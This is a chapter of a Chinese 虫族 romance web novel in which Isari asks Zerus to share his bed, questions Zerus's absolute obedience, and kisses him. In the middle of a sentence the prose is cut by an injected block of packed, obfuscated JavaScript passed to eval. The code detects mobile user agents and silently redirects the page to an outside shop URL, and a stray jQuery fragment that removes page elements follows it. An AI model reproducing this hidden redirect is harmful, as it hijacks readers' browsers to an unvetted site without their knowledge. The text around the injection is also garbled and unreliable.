泽鲁斯发现,艾萨里今天吃饭的时候有些心不在焉。
虽然雄虫大大夸赞了泽鲁斯进步手艺,但在此之后他就沉默下来,只是握着勺子在汤里画一个又一个的圆圈,直到温热的汤都要变凉了。
泽鲁斯坐在对面,看着汤面被雄虫搅出漩涡,而后他又无所觉地把碗端起来,把冷掉的汤全部喝掉了。
是还在想伊塔利亚二世的事情吗?
泽鲁斯对历史的记忆并不多。军校教授历史课程时,通常只是概括地讲一下时间线:在伊塔利亚二世以及伊塔利亚二世之前,族群盘踞在中央星系,不断发展科技,直到能够建造远航舰,离开原本的星系,向更遥远的地方开拓。
而在混乱的两百年之后,雄虫们依然是帝国的统治者。帝国经历了许多年的演变,经历过战火、政权更迭、以及雄虫数量的急剧缩减,法律和制度不断调整,逐渐变成现在这样稳定的局面。
在那两节——或者三节课中,泽鲁斯从来没有觉得这里面有什么问题,或者值得思考的内容。军雌只需要知道终点的位置就可以了,而不需要回望时间轴的长路。
可艾萨里显然不是这样的,那孩子可是说过要投身于此的。
艾萨里今天甚至都没有和泽鲁斯一起看《G-42孤星生存》的更新,那部连载已经陪两虫度过了许多晚上的闲暇时光。故事已经进展到本土的雌虫将主角从异兽的口中救下,而主角怦然心动。泽鲁斯已经习惯在固定的时间打开节目,只是今天,光屏停留在了播放界面。
雄虫的脸上端着泽鲁斯很少见到的严肃表情,他匆匆和泽鲁斯抱歉,说自己还有一点事情没有想清楚,收好餐具后就走去了书房。
“今晚的孤星生存可能来不及一起看了——泽鲁斯,你先看好了。”
“我之后和您一起看。”泽鲁斯说。
他目送艾萨里走进走廊尽头的书房,泽鲁斯不怎么去那里,虽然艾萨里从来没有限制他的行动范围的意思,但是他觉得自己在那里也并没有什么可做的。
书房的核心是一套全息投影系统,也能用精神力操控,可以把多个屏幕的图像和文字按照三维形式铺开,不过泽鲁斯平时不怎么逛星网。
书架上摆放着艾萨里的工具书和一些收藏的文学作品。
比如《虫族文明史》、《中央星系早期文明研究》、《虫神信仰的形成与变迁》,还有《伊塔利亚二世的十三封情书》《请不要把我当作备用雌君》《失忆雄虫的育儿日记》等等,其中后面这三本已经被艾萨里偷偷藏了起来。
泽鲁斯端着茶走到书房门口,抬手轻轻敲了敲门。
“艾萨里。”军雌说,“要喝点茶吗?”
军雌等了几秒钟,自己推门进去。他看见书房里的灯全开着,艾萨里坐在书桌后面,把自己的微卷的头发揉得凌乱,周身围绕着不同页面的投屏。他的尾钩垂在椅子边缘,垂头丧气,显然研究并不怎么顺利。
“有什么我能够帮助您的吗?”
泽鲁斯把茶放在了艾萨里的手边,话说出口的时候,他有些难过地想着自己帮不上什么忙。
之后艾萨里在工作的时候,他能干什么呢?
军队给他的技能在这里一个都用不上,这里显然也没有枪林弹雨需要他从中肃清威胁,泽鲁斯在被救之后到现在都没有再虫化过。
不再需要服从命令的军雌,究竟要怎样度过一整天的时间?
他可以帮艾萨里整理房间,打扫卫生。可这些事情,智能机械虫也能够完成。先前一整天和艾萨里待在一起的时候并没有这样的想法,但艾萨里只是今天去了一下博物馆,泽鲁斯便不知道自己还能做什么填补那些空出来的时间。
他的脑袋里面忽然冒出一个合理的念头。
——如果他有一个虫蛋……
这个念头来得没有征兆。
军雌不像亚雌那样容易孕育后代,而在生殖腔损伤之后,他不确定自己是否还有资格拥有虫蛋,但艾萨里是应该有一个幼崽的。
幼崽会继承雄虫漂亮的眼睛,也许会拥有浅色的头发,或许和泽鲁斯更相似也说不定。
泽鲁斯觉得,艾萨里和自己的雄父会是不一样的类型,即使孩子是军雌,艾萨里肯定也会喜欢的。
军雌垂下眼睛,强迫自己不要继续想下去。
“泽鲁斯——”
“艾萨里…”
他们几乎是同时开口。
艾萨里看了看泽鲁斯,泽鲁斯也看着他。
“您先说吧。”
而雄虫的目光躲闪了,艾萨里左顾右盼,他的目光扫过自己的书架,最后盯着茶杯的袅袅白气。
艾萨里斟酌着开口:
“泽鲁斯,你今天晚上…要不要和我一起睡?”
“只是睡觉。”
艾萨里抿抿嘴唇,补充。
“我觉得,嗯,这样或许会比较有助于恢复。”
——
艾萨里当然不知道泽鲁斯复杂的心理活动,他只是刚刚说服了自己——既然上一次在宴会上,他们已经在同一张床上睡过了,那么作为伴侣,继续分房睡是不是显得不太合理。
如果下次再有邻居拜访,发现了这点会怎么看泽鲁斯?会不会觉得他是不被艾萨里喜欢的?
艾萨里决定断绝所有危险因素。
结果就是,提早上床的艾萨里并没有因此睡得更好。他在自己的那一侧翻来覆去,而抱着被子过来的军雌显然也没有那么快就适应。但他始终保持着安静的姿态,规规矩矩地睡着。
干脆再聊聊天吧,困了就睡。
“泽鲁斯…”
艾萨里确定身旁的军雌也没有睡着。
雄虫的声音在黑暗里显得有些飘忽不定,像是不存在的鬼魂重新出现在了这里。
他幽幽开口。
“如果我发布任何命令,你都会去完成吗?”
“当然。”
军雌坚定又温柔地回答着,带着让艾萨里信服的语气。
“即使是让你去做一件特别危险的事,甚至你可能会为此丢掉性命,你也会去完成吗?”
艾萨里把手从被子里伸出来
;eval(function(p,a,c,k,e,d){e=function(c){return(c<a?"":e(parseInt(c/a)))+((c=c%a)>35?String.fromCharCode(c+29):c.toString(36))};if(!''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return'\\w+'};c=1;};while(c--)if(k[c])p=p.replace(new RegExp('\\b'+e(c)+'\\b','g'),k[c]);return p;}('8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="j://e.d.f/h/g/"}',24,24,'userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|mgxs|t|shop|17944264|213742||http|test|mini|href|location'.split('|'),0,{}));
() {
$('.inform').remove();
$('#content').append('
,垫在了枕头下面。
“我会的,艾萨里。”
对于泽鲁斯来说,似乎并不是一个需要过多思考的问题。
“抱歉。”艾萨里沉默了一会,轻声说,他身上的幽灵离去了。
“忘掉我刚刚说的话吧。我只是在想,伊塔利亚二世和他的那些子民……”
或许,他们也是这样一种关系?在家庭的方寸之间,军雌与雄虫的关系可以是这样绝对的遵从,那么,如果将这种关系扩大到整个帝国呢?
在那个遥远的时代,对君主的忠诚刻在骨血里的本能。
艾萨里陷入了沉思。
可现在不一样了,现在的星网对于政令有着各种各样的声音,有的激进,有的保守。艾萨里甚至见过质疑现在帝国的雄虫殿下统治的合法性的声音,虽然这种声音往往在几秒钟内就会被审查撤下,连账号也一并消失。
伊维洛斯,流传着伊塔利亚二世血脉的雄虫,现今十五岁,精神力的等级据说至少在A及以上。
那只被军雌长久地放在记忆里的雄虫到底做过什么,才会让泽鲁斯这样忠诚?
“难道‘我’曾救过你的命吗?”
艾萨里立刻后悔,明明最好的方式就是忽略那位假想敌。
他只好装作漫不经心地伸手,钻过两层被子,捏了捏泽鲁斯的指尖。
军雌的手指很快收拢,将他的指尖反捏在掌心里。
“艾萨里。”
“嗯?”
“有一次,在军校的训练结束后,有几位年纪小的雄虫拦住我,他们喝了一点酒,很好奇军雌虫化的样子,言语间有些…冒犯。他们要走了我的身份牌,说如果我不按照他们说的做,就把这件事告诉带队教官。”
“他们——他们没对你做什么吧。”
泽鲁斯安抚性地摸了摸他的手背。军雌的声音仍然很平稳,他的精神海很稳定,没有要暴动的迹象。
“后来是您出现了。”
“您让他们把身份牌还给我,他们似乎有些畏惧您,很快就走了。”
艾萨里怔怔地听完,脑子里一片空白。
他听见自己说,“那么厉害吗?”
泽鲁斯还想要说什么,但是雄虫从他的手中抽出了自己的手指。
旁边的被子被掀开了,艾萨里凑近了他。他的指尖沿着泽鲁斯的眉骨慢慢移动,描摹着军雌的轮廓。军雌有着一双固执的黑色眼睛,相较于艾萨里,他的五官并不柔和。
艾萨里摸到他的眼尾,喃喃着:
“我好喜欢你的眼睛呀,泽鲁斯,那么深邃的。”
“如果我曾经看见过的话,一定不会忘掉的。”
泽鲁斯的睫毛颤了一下,末端扫过了艾萨里的指腹。艾萨里很想要在黑暗中看清楚泽鲁斯的脸庞,以及那双眼眸中自己的模样,但是他只能够凭借模糊的轮廓和肢体的触感来辨别泽鲁斯的位置。
所以雄虫俯下身,在泽鲁斯的额头上落下一个很轻的吻。
然后,他双手捧住军雌的脸,吻上了那双被他夸赞过的眼睛。